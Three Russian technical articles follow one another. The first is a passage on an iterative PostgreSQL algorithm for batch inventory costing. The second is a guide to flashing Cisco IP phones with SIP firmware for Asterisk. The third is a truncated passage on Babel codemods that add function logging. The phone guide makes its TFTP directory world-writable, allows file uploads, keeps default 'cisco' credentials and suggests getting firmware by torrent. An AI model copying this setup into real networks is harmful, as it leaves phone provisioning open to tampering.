В таких условиях кладовщик во Владивостоке не сможет закрыть ни одного складского документа, пока бухгалтер в Москве делает полный расчет за отчетный период.
* **извлекаем все движения периода**
Нет анализа надо ли извлекать и пересчитывать эти движения — избыточная нагрузка на БД/БЛ. Если сказано «посчитать за квартал» — значит, все движения за квартал сразу же извлекаются.
* **сквозной порядок всех-всех операций**
Поскольку все зависимости разрешались прямо в памяти, рекурсивно, то ее требовалось много — доходило до 300-400MB на расчет движений за квартал.
* **единственный поток расчета**
Нет возможности «распараллелить» вычислительную работу, хотя для многоядерных CPU — самое то.
* **ручной запуск**
Поскольку алгоритм получался вычислительно тяжелым и мог создавать проблемы, запускать его в автоматическом режиме было опасно.
Поэтому смасштабировать тот же самый алгоритм на миллион клиентов онлайн не получилось, и пришлось придумывать заново.
Нам необходим некоторый **итерационный алгоритм**, который пользуется короткими транзакциями, всегда помнит, что мы уже посчитали, и имеет полное право корректно прерываться в любой момент времени — например, для оптимизации нагрузки на элементы серверной инфраструктуры. То есть он должен уметь досчитывать дальше по ранее намеченному маршруту.
Никакой рекурсии, никаких вложенных проверок — **чем «тупее и проще», тем эффективнее**.
Поскольку у нас web-система, с которой работает сразу множество пользователей даже в рамках одного клиента, мы понимаем, что в процессе нашего расчета запросто может возникнуть ситуация, когда движение-к-расчету может быть **конкурентно удалено или создано** «вот прямо под ногами» в тот самый момент, когда мы рассчитываем этот интервал. И наша реализация должна от такой ситуации страховать алгоритм.
И раз уже все равно «все переделывать», к задаче стало можно подойти более свободно, и ускорить расчет за счет его реализации **в многопоточном режиме** и оптимизаций работы с БД — теперь те самые «разноцветные» сегменты мы действительно сможем посчитать параллельно за меньшее время.
И последний немаловажный момент — хотелось сократить **время расчета для пользователя «до нуля»**. То есть пользователь еще только закрывает документ, а у него уже движения рассчитались по всем правилам партионного учета. И чтобы несчастному бухгалтеру больше не надо было в конце отчетного периода запускать расчет на всю ночь.
Казалось бы, все хорошо. Наш типовой кейс прост — дождаться сигнала об изменении в данных, быстро все рассчитать и снова ждать. Но так просто взять и сделать — нельзя, будет тормозить, поэтому пришлось построить определенную инфраструктуру, которая завязана на вспомогательные сущности, в дополнение к самим операциям движений.
1. На основном сервисе пользователь проводит какие-то операции движений, которые **фиксируются в БД**.
2. Этот сервис «кидает» асинхронное событие в адрес **координирующего сервиса** расчета себестоимости, который дозирует нагрузку на каждый отдельный экземпляр БД, что вот в этой клиентской схеме есть какая-то работа.
3. Сервис инициирует **итеративный процесс** расчета в контексте конкретного клиента.
Теперь что происходит конкретно в базе:
1. Триггер на операциях движений заносит в **очередь расчета** соответствующие складские карточки с минимальным временем операции по каждой из них и с минимальным же приоритетом.
2. Он же формирует запись в **таблицу зависимостей**, что в такой-то точке во времени, благодаря такой-то операции складская карточка X стала зависеть от карточки Y.
3. *… на базу асинхронно и многопоточно приходит процесс расчета...*
4. Извлекаем из очереди **первую незаблокированную** складскую карточку с максимальным приоритетом.
5. Убираем по ней все **рассчитанные остатки** после соответствующей точки во времени и начинаем считать в отдельной транзакции каждый следующий «квант» (день/месяц/...).
6. Если «следующего» нет, то есть больше нет движений по карточке — убираем ее из очереди, мы ее рассчитали до конца.
7. Если на «кванте» в соответствии с **таблицей зависимостей** есть непросчитанные карточки-основания — заносим их в очередь с максимальным приоритетом, а текущий расчет прерываем.
8. Если непросчитанных оснований, то…
1. вычитываем движения только текущего интервала
2. переупорядочиваем для достижения оптимального результата расчета
3. заносим **результат расчета** (дробления по партиям) в отдельную от движений таблицу, где все операции по карточке имеют сквозной порядок в рамках интервала
4. заносим в **таблицу остатков** данные по карточке на конец интервала — количество, сумму, распределение по партиям
5. если есть зависимости от нее карточек-следствий на этом «кванте», заносим их в очередь с минимальным приоритетом
То есть для реализации нашего алгоритма потребовалось 4 дополнительные таблицы:
* **очередь расчета**
которая «растет» в две стороны — как «в плюс», так и «в минус», что определяет приоритет карточки
* **рассчитанные остатки**
на конец каждого интервала по каждой карточке
* **зависимости**
между карточкой-основанием и карточкой-следствием
* **результаты расчета**
дробления по партиям строго в подобранном алгоритмом порядке расчета
Теперь переходим к самому интересному — как же реализовать все, о чем мы говорили выше, и при этом аккуратно обойти все возникающие «грабли».
> Решение формировалось еще под версию PostgreSQL 9.1, поэтому тут нет использования позднее появившихся возможностей вроде `SKIP LOCKED` и `lock_timeout`.
Первое с чем мы сразу встречаемся — это «проведение» записей наименований при «закрытии» складского документа. Самый простой вариант — сделать обычный `UPDATE` сразу по всем наименованиям. Но если в какой-то момент оказывалось два одновременно обрабатываемых документа с разным порядком одних и тех же складских карточек — **deadlock**.
Решением стало **принудительное упорядочивание записей** при обработке. Это может быть как хранимая процедура, так и `DO`-блок:
```
FOR id IN (SELECT … ORDER BY Номенклатура, Склад, @НД) LOOP
UPDATE … WHERE @НД = id;
END LOOP;
```
Причем важно сохранять **один и тот же порядок** не только в этом месте, но и на всем протяжении работы алгоритма.
Следующий момент, который помог все сделать хорошо — это **короткие транзакции**.
У нас вообще web-система, поэтому [держать длинные транзакции нехорошо](https://habr.com/ru/post/501040/) в PostgreSQL — это приводит к различным долговременным блокировкам, к дополнительной нагрузке на сервер. Поэтому если есть возможность сделать что-то с помощью маленьких транзакций — лучше так и сделать.
В результате, мы получаем большое количество мелких транзакций, которые как муравьи на сервере суетятся, но друг другу не мешают и сообща делают одну и ту же работу. Чтобы этого добиться, использовали следующие подходы:
* **обрабатываем мало данных**
но много-много раз
* **быстро заканчиваем**
то есть нормируем время на все собственные «тупняки», чтобы никому не мешать
* **максимально быстро**
используем понимание внутренних механизмов PostgreSQL
В соответствии с приведенным выше алгоритмом самым разумным оказалось сделать транзакцию для расчета ровно одного «кванта» — то есть при базовых настройках это будут **движения за один день по одной складской карточке**.
Ну и чтобы остатки по карточке, от которых мы «стартуем» при расчете «кванта» не перевычислять каждый раз, мы их просто сохраняем в базе.
Точно так же мы не пытаемся получить расчет карточек-оснований по зависимостям «здесь и сейчас», а **выносим в другую транзакцию** их с помощью очереди.
И вообще — где можно «разрываем» длинную транзакцию с помощью очереди. Не рассчитано основание? В очередь! Надо будет посчитать потом следствие? В очередь! Вот когда очередь до них дойдет, тогда и будем с ними разбираться, а в текущей транзакции делаем все максимально быстро и поэтому никого **не ждем**.
Можно «не ждать» с помощью `NOWAIT` в запросе, но это не очень хорошо, если блокировка чаще всего существует. Так мы будем постоянно вылетать в `EXCEPTION` и либо получать «мусор» в логе, либо придется писать хранимую процедуру/`DO`-блок для изоляции такого запроса.
Мы понимаем, что в условиях коротких транзакций, блокировка если и есть, то долго не продлится. Поэтому мы можем воспользоваться установкой ключевого параметра `[statement\_timeout](https://postgrespro.ru/docs/postgresql/12/runtime-config-client#GUC-STATEMENT-TIMEOUT)` и переопределить его тем значением, которое нас устраивает для «ну столько-то еще можно подождать».
Ну а уж если за таймаут дождаться блокировки не удалось — только тогда и получаем `EXCEPTION`. А во всех остальных случаях, даже если нам пришлось немного подождать, но мы все-таки дождались результата — то хорошо, и мы продолжаем нормально работать, и никаких ошибок ни у кого не возникает.
Но даже если ошибка возникла, и мы «упали» при слишком длинном ожидании результата запроса — это не трагедия, а вполне нормально. Поскольку транзакции короткие — мы достаточно безболезненно делаем ее `ROLLBACK` и пытаемся повторить снова и снова, пока она успешно не выполнится. Как правило, хватает единичного повтора.
Чтобы у нас все работало максимально быстро, мы «фиксируем карточку» на соединении с БД. Это означает, что если нам надо просчитать, например, соль на интервале последней недели, а на базе расчетом одновременно занимается несколько потоков (каждый на отдельном соединении с БД, конечно), то всю соль за все дни нам эффективнее обработать в одном потоке.
Несмотря на то, что это будут разные транзакции, лучше это соединение никому конкурирующему не отдавать. Потому что при расчете одной и той же складской карточки нам приходится обращаться к базе практически за одними и теми же данными, одними и теми же сегментами индекса, разве что «чуть-чуть в сторону». А эти данные уже находятся в локальной памяти процесса PG, который обслуживает наше подключение к базе.
Есть небольшая проблема, что если вся ваша инфраструктура настроена на работу через pgbouncer в transaction mode, то так зафиксировать соединение не удастся. Поэтому если возникает задача, когда предполагается высокая нагрузка на базу — лучше иметь **отдельный прямой коннект до базы**, который от вас никуда не «убегает» и который вам никто не подменяет «втемную».
Следующий момент, который помогает добиться максимальной производительности — **минимизация количества данных**, которыми клиентский процесс обменивается с базой. Поэтому для хранения промежуточных результатов расчета используем временную таблицу, которая зачищается при завершении транзакции.
> Про особенности работы с временными таблицами в PostgreSQL и способами их наиболее эффективного использования уже [есть отдельная статья](https://habr.com/ru/post/492464/).
И третий аспект «ускорялок» — использование [prepared statements](https://postgrespro.ru/docs/postgresql/12/sql-prepare). Достаточно простой синтаксис — `PREPARE/EXECUTE`, но дает устранение достаточно существенных задержек на разбор текста запроса.
Если у нас идут тысячи однотипных и простых запросов, которые повторяются из раза в раз и отличаются только значением параметра, то можно получить ускорение до 4-10мс на каждый запрос, а иногда и вовсе до нуля.
То есть иногда реально доходит до того, что начинаешь замерять производительность, получаешь два таймстампа одинаковых (с точностью до миллисекунд, конечно) — до получения данных и после получения данных, при этом данные-то ты получил.
А раз базе данных не требуется больше каждый раз заниматься разбором текстов наших запросов, то и нагрузка на CPU от обслуживающего наше подключение процесса легко уменьшается в 1.5 раза.
Поскольку расчет у нас ведется многопоточно, то необходима некоторая точка синхронизации этих потоков, чтобы распределять между ними задачи. В нашем случае мы ее реализовали с помощью единой таблицы-очереди заданий, которая хранится непосредственно в базе данных.
С точки зрения обслуживания высококонкурентной очереди заданий есть три ключевых момента:
* **распределение обработки**
как именно поделить весь фронт работы между worker'ами
* **защита от конкурента**
от удаления или вставки записей сторонними процессами
* **оптимизация нагрузки**
сама координация работы не должна стоить слишком «дорого»
Для распределения работы есть два основных метода:
* **push**
Из самой очереди последовательно вычитывает данные только **выделенный процесс-координатор**, и самостоятельно раздает задачи каждому из worker'ов. Это приводит к двум ограничениям:
+ пропускная способность координатора конечна и **не масштабируется**, при этом в случае возникновения в нем ошибки встает сразу вся работа
+ очередь должна быть строго **однонаправленной**, чтобы координатору было понятно, в какую сторону дальше читать
* **pull**
Независимые **одинаковые worker'ы** «вытаскивают» данные из очереди самостоятельно. При этом очередь может изменяться произвольно — как раз наш вариант!
Вариант конкурентной производительной очереди на PostgreSQL можно реализовать с помощью рекомендательных блокировок (advisory locks) по модели, изначально предложенной [DmitryKoterov](https://habr.com/ru/users/dmitrykoterov/) в одной из своих [статей](http://dklab.ru/chicken/nablas/53.html) ([архив](https://web.archive.org/web/20191031145956/http://dklab.ru/chicken/nablas/53.html)).
> Более подробно про рекомендательные блокировки, связанные с ними проблемы и решения можно ознакомиться в статье [«Фантастические advisory locks, и где они обитают»](https://habr.com/ru/post/488024/).
> Про способы борьбы с «разбуханием» таблицы-очереди в условиях работы механизма MVCC в окружении длинных транзакций читайте в [«DBA: когда пасует VACUUM — чистим таблицу вручную»](https://habr.com/ru/post/481866/).
С действиями конкурирующих на базе процессов проблемы возникают не только при обслуживании очереди, но и при обработке самих данных.
Например, «дыра» в рассчитанных остатках может возникнуть, если кто-то уже успеет удалить последнюю запись, которая еще существовала на момент начала нашей итерации расчета.
Чтобы защититься от такой ситуации — используем `SELECT ... FOR UPDATE`. В таком случае уже никакой конкурирующий `DELETE` не сможет «выдернуть» их у нас из-под ног. Точнее, будет пытаться и повиснет в блокировке — ну и пускай висит, мы его надолго не задержим, зато вся цепочка рассчитанных остатков у нас всегда будет в целостном состоянии.
Но защита помогает не всегда — например, если пользователь параллельно удаляет или добавляет движение в «квант», который мы прямо сейчас считаем. То есть он еще никогда не был рассчитан и не существует той записи остатков, которую можно было бы заблокировать.
Но все-таки существует возможность узнать, что состояние движений «кванта» изменилось. Для этого достаточно ввести **версию в запись очереди**, которая инкрементится триггером при каждой операции с движениями по карточке.
Вычитываем ее вместе с записью из очереди в начале нашей транзакции, повторно вычитываем в конце — и если они не совпали, уходим на `ROLLBACK`. Да, мы не сможем понять что именно изменилось и как, но нам это и не нужно — ведь транзакции у нас очень быстрые.
Но чтобы эти предельно быстрые транзакции не «ушатали» все вместе базу, нагрузку надо дозировать. И, как минимум, не работать, пока это никому не нужно.
Мы можем рассчитывать все в несколько потоков, но обычно-то карточка к расчету оказывается всего одна, и заставлять «соседей» итерировать попусту — только базу грузить. Поэтому лучше **заставить эти потоки «спать»**, пока триггер на вставку в очередь не пришлет им `NOTIFY`, что появилось что-то новое.
Как показывает практика, в большинстве случаев уже первый поток справляется с расчетом настолько быстро, что дополнительные потоки даже не успевают стартовать. Поэтому нагрузка на базу минимальна и исходит только от того потока, которому работа все-таки досталась.
Второй момент, который позволяет оптимизировать нагрузку на базе — это **отложенный старт обработки**. Идея в том, что даже при поступлении сигнала потоки не должны ломиться все одновременно и создавать «шторм».
При этом, как правило, работа-то достанется только одному из них, потому что обычно ее там нет для полной загрузки. Поэтому мы можем спокойно **«докидывать» новые worker'ы с паузой**, например, в 10мс, пока работа все еще есть. Если же мы за первые 10мс уже все успели сделать, то дополнительные потоки никак не будут задействованы.
Да, в некоторых крайне редких случаях такой подход может снизить максимальную пропускную способность обработки, зато в большинстве типовых ситуаций он и сэкономит ресурсы, и позволит избежать пиковой нагрузки.
Ну а если вдруг в одном из потоков случилась какая-то ошибка — давайте просто **немного подождем**. Если причиной стала какая-то блокировка, которая нам помешала, она наверняка успеет «рассосаться» за это время, а потоки-соседи не дадут очереди простаивать, пока мы «отдыхаем».
В итоге, эти подходы помогли снизить суммарную нагрузку на БД/БЛ примерно в 4 раза!
Ну и, в очередной раз, призываю всех — **измеряйте все**, до чего можете дотянуться:
* пропускную способность вашего решения (op/s)
* длину очереди и количество активных worker'ов
* задержку от поступления записи в очередь до обработки
* фактическую нагрузку, которая создается на «железе» | https://habr.com/ru/post/504446/ | null | ru | null |
# Прошивки телефонов cisco 6921, 7821-7841, 7911, 7942, 7962 для SIP (Asterisk)
Начну с того, что уже много статей канули в небытие и иной раз сложно найти что-то актуальное. Бывает конечно и такое что оочень много информации по конкретной модели, но т.к. у меня возникли "затыки", то я решил написать себе статью, м.б. и вам пригодится )
Начнём с tftp, лучше его развернуть на сам asterisk, занимает он не много
у меня debian на который установил asterisk, по инструкции [тут](https://serveradmin.ru/nastroyka-servera-telefonii-asterisk-s-nulya/)
### теперь ставим tftp demon (сервер)
```
apt-get update && apt-get upgrade -y
apt-get install tftpd-hpa
mkdir -p /tftp
chmod -R 777 /tftp/
chown -R nobody:nogroup /tftp/
```
### Настройка TFTP сервера
Выполняем бэкап файла конфигурации TFTP сервера:
`cp /etc/default/tftpd-hpa{,.bak}`
Файл /etc/default/tftpd-hpa, приводим к виду:
`TFTP_USERNAME="tftp" TFTP_DIRECTORY="/tftp" TFTP_ADDRESS="0.0.0.0:69" TFTP_OPTIONS="--secure --create"`
Рестарт TFTP сервера:
`service tftpd-hpa restart`
Готово. Настройка TFTP сервера окончена.
Начинаем с модели 6921
----------------------
**Сброс к заводским настройкам для установки прошивки SIP**
1. При включении телефона нажмите и удерживайте клавишу **#**
2. Когда индикатор на кнопке отключения звука и полоске подсветки телефонной трубки погаснет, а все остальные индикаторы (кнопка линии, кнопка гарнитуры, кнопка громкой связи и кнопка выбора) станут зелеными, последовательно нажмите **123456789\*0#**
3. При нажатии кнопки 1 индикаторы на кнопках линии становятся красными. Индикатор на кнопке выбора мигает при нажатии кнопки. Если вы нажимаете кнопки не по порядку, индикаторы на кнопке линии, кнопке гарнитуры, кнопке громкой связи и кнопке выбора становятся зелеными. Вам нужно будет начать все сначала и снова последовательно нажать **123456789\*0#**
4. После нажатия этих кнопок телефон проходит процесс сброса заводских настроек
5. Не выключайте телефон до тех пор, пока он не завершит процесс сброса настроек и не появится главный экран
6. Главное не торопитесь это бывает достаточно долго!!!
[Скачайте](https://software.cisco.com/download/navigator.html?mdfid=282601278) SIP-прошивку версии 9-4-1-3 с сайта Cisco (необходима регистрация) или в торренте
Далее необходимо передать IP-телефону через 150 Option DHCP IP-адрес TFTP-сервера, где будут ждать файлы для обновления прошивки и для конфигурирования IP-телефона. (в зависимости от вашего dhcp сервера "загуглите" как это сделать)
Содержимое папки TFTP:
1. Файл CTLSEP{MAC}.tlv **пустой файл** (например, CTLSEP28940F7ED5E2.tlv)
2. Файл ITLSEP{MAC}.tlv **пустой файл** (например, ITLSEP28940F7ED5E2.tlv)
3. SIP69xx.— (прошивка)
4. BOOT69xx.0-0-0-14.zz.sgn — (прошивка)
5. DSP69xx.12-4-122-02-121029.zz.sgn — (прошивка)
6. SIP69xx.9-4-1-3.zz.sgn — (прошивка)
7. XMLDefault.cnf.xml
8. dialplan.xml (правила набора номера)
9. XML-файл с конфигурацией SEP{MAC}.cnf.xml (например, SEP28940F7ED5E2.cnf.xml)
10. rtl-sccp.jar (файл русификации)
***Поля* и *константы* SEP{MAC}.cnf.xml** — файла, которые необходимо отредактировать для подключения:
— временную зону вы должны выбрать свою у меня + 4 К
$SERVER - это ip вашего сервера
$ACCOUT - это ваш номер (аккаунт)
$PASS - это ваш
```
SIP
cisco
cisco
D.M.Y
SE Asia Standard Time
ntp.tsu.ru
Unicast
2000
5060
5061
$SERVER
true
true
x-serviceuri-cfwdall
x-cisco-serviceuri-pickup
x-cisco-serviceuri-opickup
x-cisco-serviceuri-gpickup
x-cisco-serviceuri-meetme
x-cisco-serviceuri-abbrdial
false
2
true
true
2
2
0
true
6
10
180
3600
5
120
120
5
500
4000
70
true
None
1
false
true
false
false
none
101
3
avt
false
false
3
false
phoneLabel
0
false
10
false
10000
20000
9
$ACCOUT
$SERVER
5060
$ACCOUT
$ACCOUT
2
3
$ACCOUT
$PASS
false
1
80
4
5
105
true
true
false
true
5060
184
0
dialplan.xml
true
1
SIP69xx.9-4-1-3SR3
false
false
0
1
0
0
0
0
1
1,2,3,4,5,6,7
00:00
00:00
00:00
1
1
1
1
96
0
96
2
0
3804
false
```
**XMLDefault.cnf.xml**
```
2000
192.168.1.22
SIP69xx.9-4-1-3SR3
SIP69xx.9-4-1-3SR3
SIP69xx.9-4-1-3SR3
```
**dialplan.xml**
```
```
P.S. Данный телефон после загрузки через 123456789\*0# может долго стоять и ничего не показывать, как будто не прошился, но это не так он просто долго думает!
Модели 7821 & 7841
------------------
При каждой перезагрузке телефон пытается обновить свою прошивку и подкачать файл конфига. Или перезагружаем телефон с перечитыванием конфига (Settings, \*\*#\*\*) телефон перечитывает конфиг . Поэтому для начала скачиваем архив со свежей прошивкой и выкладываем его содержимое на tftp сервер.
Вот[ссылка на свежую прошивку для Cisco-7821](https://software.cisco.com/download/release.html?mdfid=284892535&softwareid=282074288&os=&release=11.0(1)&relind=AVAILABLE&rellifecycle=&reltype=latest&i=!pp) (на момент публикации это была версия sip78xx.14-0-1-0001-135
Дальше смотрим maс-адрес нашего телефона (в примере это — 28940F7ED5E2) и создаем два пустых файла с авторизацией. Вообще их должен выдавать Cisco Call Manager, но у нас его нет — поэтому создаем пустые, чтобы телефон их скачал и успокоился. На самом деле, теперь я уже и не знаю, насколько они нужны, но на всякий случай пусть здесь будет упоминание про них.
1. Файл CTLSEP{MAC}.tlv **пустой файл** (например, CTLSEP28940F7ED5E2.tlv)
2. Файл ITLSEP{MAC}.tlv **пустой файл** (например, ITLSEP28940F7ED5E2.tlv)
***Если их не сделать, то будет ошибка «No Trust List Installed».***
про файл **dialplan.xml прочитай выше, повторяться не буду**
Дальше в папке с названием кодировки (в моем случае **Russian\_Russia**) создаём файл **g3-tones.xml** вот с таким содержимым.
```
Russian\_Federation
/main/3.3.release/1
0
```
***Поля* и *константы* SEP{MAC}.cnf.xml** — файла, которые необходимо отредактировать для подключения:
— временную зону вы должны выбрать свою у меня + 4 к МСК
кодек я использую g711alaw поиском увидите по списку
$SERVER - это ip вашего сервера
$ACCOUT - это ваш номер (аккаунт)
$PASS - это ваш
$NAME - это ваше отображаемое имя (есть ограничение по кол-ву символов, сколько не знаю)
```
xml version="1.0" encoding="UTF-8"?
{7821 Aug 28 2015 12:40:48}
D.M.YYYY
HH:MM
SE Asia Standard Time
ntp.tsu.ru
Unicast
2000
$SERVER
3
sip78xx.14-0-1-0001-135
Russian\_Russia
ru\_RU
utf-8
Russian\_Russia
Russian\_Russia
0
0
5060
1
true
x--serviceuri-cfwdall
x-cisco-serviceuri-pickup
x-cisco-serviceuri-opickup
x-cisco-serviceuri-gpickup
x-cisco-serviceuri-meetme
x-cisco-serviceuri-abbrdial
true
2
true
true
2
0
0
true
6
10
180
120
5
120
120
5
500
4000
70
false
None
1
false
true
true
false
g711alaw
101
3
avt
false
false
3
1
false
10
false
10000
20000
5061
184
0
dialplan.xml
$NAME
9
201
$ACCOUT
$NAME
$ACCOUT
$SERVER
5060
2
3
$ACCOUT
$PASS
false
1
121
4
5
true
false
false
true
```
### Настройка времени на телефоне
Долго мучался с правильной настройкой времени на телефоне. Вот, как надо было делать. Заходим по этому адресу: http://wwp.greenwichmeantime.com/time-zone/gmt-plus-3/
Ищем там свой часовой пояс. Для Москвы сейчас это GMT+3. Смотрим внизу, какие страны подпадают под этот пояс. Для GMT+3 это например Саудовская Аравия (Saudi Arabia). Соответственно в параметре timeZone пишем «Saudi Arabia Standard Time». Дальше, перезагружаем телефон с перечитыванием конфига (Settings, \*\*#\*\*) телефон перечитывает конфиг и выставляет правильное время.
Модель 7911
-----------
Когда индикаторы светодиодов моргнут поочерёдно красным потом зелёным, зажимаем # и ждём когда заморгает полоска подсветки телефонной трубки , последовательно нажмите **123456789\*0#**
Мне доставались аппараты на которых не горел дисплей вовсе, т.к .на них был выполнен общий сброс.
**#Total Hard Reset**
The code for the total hard reset is: **3491672850\*#**
файлы прошивки:
про файл **dialplan.xml и папку "Russian\_Russia" прочитай выше, повторяться не буду**
***Поля* и *константы* SEP{MAC}.cnf.xml** — файла, которые необходимо отредактировать для подключения:
— временную зону вы должны выбрать свою у меня + 4 к МСК
кодек я использую g711alaw поиском увидите по списку
$SERVER - это ip вашего сервера
$ACCOUT - это ваш номер (аккаунт)
$PASS - это ваш
$NAME - это ваше отображаемое имя (есть ограничение по кол-ву символов, сколько не знаю)
```
SIP
cisco
cisco
D-M-Y
SE Asia Standard Time
ntp.tsu.ru
Unicast
2000
5060
5061
$SERVER
true
true
x--serviceuri-cfwdall
x-cisco-serviceuri-pickup
x-cisco-serviceuri-opickup
x-cisco-serviceuri-gpickup
x-cisco-serviceuri-meetme
x-cisco-serviceuri-abbrdial
false
2
true
true
2
2
1
true
6
10
180
1200
5
120
120
5
500
4000
70
false
None
1
false
true
false
false
g711alaw
101
3
avt
false
false
3
$NAME
1
false
10
false
10000
20000
false
9
$ACCOUT
$SERVER
5060
$ACCOUT
$ACCOUT
2
3
$ACCOUT
$PASS
false
1
\*97
4
5
818
true
true
false
true
5060
184
0
dialplan.xml
1
true
2
term11.default
false
false
0
1
0
0
0
0
1
1,2,3,4,5,6,7
00:00
00:00
00:00
1
1
1143565489-a3cbf294-7526-4c29-8791-c4fce4ce4c37
Russian\_Russia
ru\_RU
utf-8
Russian\_Russia
Russian\_Russia
1
96
0
96
4
0
3804
false
```
Модели 7942 & 7962
------------------
Когда индикаторы светодиодов моргнут поочерёдно красным потом зелёным, зажимаем # и ждём когда заморгает полоска подсветки телефонной трубки , последовательно нажмите **123456789\*0#**
файлы прошивки:
 про файл **dialplan.xml и папку "Russian\_Russia" прочитай выше, повторяться не буду**
***Поля* и *константы* SEP{MAC}.cnf.xml** — файла, которые необходимо отредактировать для подключения:
— временную зону вы должны выбрать свою у меня + 4 к МСК
кодек я использую g711alaw поиском увидите по списку
$SERVER - это ip вашего сервера
$ACCOUT - это ваш номер (аккаунт)
$PASS - это ваш
$NAME - это ваше отображаемое имя (есть ограничение по кол-ву символов, сколько не знаю)
```
xml version="1.0"?
true
SIP
cisco
cisco
D.M.Y
SE Asia Standard Time
ntp.tsu.ru
Unicast
true
$SERVER
CallManager 5.0
2000
5060
5061
$SERVER
true
0
SIP42.8-5-4S
SIP42.8-5-4S
SIP42.8-5-4S
false
false
0
1
0
0
0
0
1,7
10:30
06:05
00:05
1
1
1
Russian\_Russia
ru\_RU
utf-8
Russian\_Russia
Russian\_Russia
1
0
$SERVER/asterisk/directory.php
96
0
96
4
0
3804
false
true
true
x--serviceuri-cfwdall
x-cisco-serviceuri-pickup
x-cisco-serviceuri-opickup
x-cisco-serviceuri-gpickup
x-cisco-serviceuri-meetme
x-cisco-serviceuri-abbrdial
false
2
true
true
2
2
0
true
6
10
180
3600
5
120
120
5
500
4000
70
true
None
1
false
true
false
false
g711alaw
101
3
avt
false
false
3
1
true
10
true
10000
20000
5060
184
0
dialplan.xml
$NAME
false
false
9
$ACCOUT
$SERVER
5060
$ACCOUT
$ACCOUT
2
3
$ACCOUT
$PASS
false
1
\*97
4
5
131
true
false
false
true
```
p.s. бывало так что не прошивались, а дело в том что кнопки нужно было давить сильней, т.к. телефоны старые, кнопочки засалились)
Все файлы (в том числе мусор SEP для моих телефонов) лежит [тут](http://vtracker.org/forum/viewtopic.php?p=5619935#5619935)
**Используемая литература:**
1. <https://habr.com/ru/post/121140/>
2. <https://izzylaif.com/ru/%D0%BA%D0%B0%D0%BA-%D0%BF%D1%80%D0%BE%D1%88%D0%B8%D1%82%D1%8C-ip-%D1%82%D0%B5%D0%BB%D0%B5%D1%84%D0%BE%D0%BD-cisco/>
3. <https://3cx.olp.ru/cisco-6921-3cx/>
4. <http://tokarchuk.ru/2016/03/cisco-7821-6921-asterisk/>
5. <https://www.emetrotel.com/tsd/content/convert-cisco-692169416961-phone-sccp-skinny-call-control-protocol-sip-protocol>
6. <https://jakondo.ru/nastrojka-vosstanovlenie-proshivka-telefona-cisco-7962g-2/>
7. <https://habr.com/ru/post/203976/>
8. <http://www.pbxware.ru/wiki/nastroika_i_proshivka_cisco_7911_ispolzuya_tftpd_server/> | https://habr.com/ru/post/585822/ | null | ru | null |
# Когда код это данные
[](https://habr.com/ru/company/ruvds/blog/563568/)
> *«Представь, что люди как бы находятся в подземном жилище наподобие пещеры, где во всю её длину тянется широкий просвет. С малых лет у них на ногах и на шее оковы, так что людям не двинуться с места, и видят они только то, что у них прямо перед глазами, ибо повернуть голову они не могут из-за этих оков.»
>
>
>
> © Платон «Государство», книга 7: Миф О Пещере*
Время от времени мне пишут с просьбой помочь в написании кода, который меняет код (далее **кодмод**, от слов **код** и **модификация***- изменение*) и сегодня я расскажу об этом нехитром процессе в новом формате, вдохновлённом [диалогами Платона](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D1%84_%D0%BE_%D0%BF%D0%B5%D1%89%D0%B5%D1%80%D0%B5), он будет содержать вопросы обратившегося ко мне человека по поводу [линтера нового поколения](https://habr.com/ru/post/504594/), и мои развёрнутые ответы.
Забегая вперед скажу, что результатом общения стал [loader](https://nodejs.org/api/esm.html#esm_loaders) [ESTrace](https://github.com/coderaiser/estrace), который при запуске может показать что-то вроде:
Но об этом позже, а сейчас:
▍Следим за функциями
--------------------
> *«Люди обращены спиной к свету, исходящему от огня, который горит далеко в вышине, а между огнём и узниками проходит верхняя дорога, ограждённая невысокой стеной вроде той ширмы, за которой фокусники помещают своих помощников, когда поверх ширмы показывают кукол.»
>
>
>
> © Платон «Государство», книга 7: Миф О Пещере*
> Я хочу получать информацию о выполнении функций, самый простой вариант **console.log('function name', arguments)** мне подойдёт. Если получится добавить поддержку методов будет великолепно.
Узлы содержащие функции в [Babel AST](https://github.com/babel/babel/blob/main/packages/babel-parser/ast/spec.md) могут быть такими:
**—** **FunctionDeclaration** — объявление функции
```
function hello() {
return 'world';
}
```
**—** **FunctionExpression** — анонимная функция
```
hello(function(word) {
return `hello ${word}`;
});
```
**—** **ArrowFunctionExpression** - анонимная стрелочная функция
```
hello((word) => {
return `hello ${word}`;
});
```
**—** **ClassMethod** - метод класса
```
class Hello {
hello(word) {
return `hello ${word}`;
}
}
```
Для их поиска мы можем использовать **Function**, он объединяет в себе все перечисленные выше варианты.
Будем использовать [Включитель](https://github.com/coderaiser/putout/tree/master/packages/engine-runner#includer) и экспортировать функции:
* **include**, чтобы знать, что искать;
* **fix**, для изменения кода;
Таким образом, функция поиска:
```
module.exports.include = () => [
'Function',
];
```
Создавать узлы будем с помощью [@babel/template](https://babeljs.io/docs/en/babel-template), после чего добавим результат в начало функции:
```
const {template} = require('putout');
// самый простой способ создать узел
const buildLog = template(`console.log('NAME', arguments)`);
module.exports.fix = (path) => {
const {body} = path.node.body;
const NAME = path.node.id.name;
// добавляем в начало функции «console.log»
body.unshift(buildLog({
NAME,
}));
};
```
Соединив предыдущие две части, и улучшив разбор имени функции в соответствии с внутренней структурой, получим:
**Такую реализацию**
```
const {template} = require('putout');
// самый простой способ создать узел
const buildLog = template(`console.log('NAME', arguments)`);
// узлы, которые ищем
module.exports.include = () => [
'Function',
];
module.exports.fix = (path) => {
const {body} = path.node.body;
const NAME = getName(path);
// добавляем в начало функции "console.log"
body.unshift(buildLog({
NAME,
}));
};
// разбираем имя для вывода в логах
function getName(path) {
if (path.isClassMethod())
return path.node.key.name;
if (path.isFunctionDeclaration())
return path.node.id.name;
return '';
}
```
которая отрабатывает так (картинка кликабельная):
[](https://user-images.githubusercontent.com/1573141/121025899-51782f80-c7ae-11eb-900a-d54c50843116.png)
▍Вносим ~~неразбериху~~ улучшения
---------------------------------
> *«За этой стеной другие люди несут различную утварь, держа её так, что она видна поверх стены; проносят они и статуи, и всяческие изображения живых существ, сделанные из камня и дерева. При этом, как водится, одни из несущих разговаривают, другие молчат.»
>
>
>
> © Платон «Государство», книга 7: Миф О Пещере*
> Отлично!
>
>
>
> ---
>
> **❒** Еще я понял что мне нужно логировать события входа в функцию и выхода из нее, меняя:
>
>
>
>
> ```
> function X() {
> console.log('hello')
> }
> ```
>
>
> на
>
>
>
>
> ```
> function X() {
> console.log('enter X')
> try {
> console.log('hello')
> } finally {
> console.log('exit X')
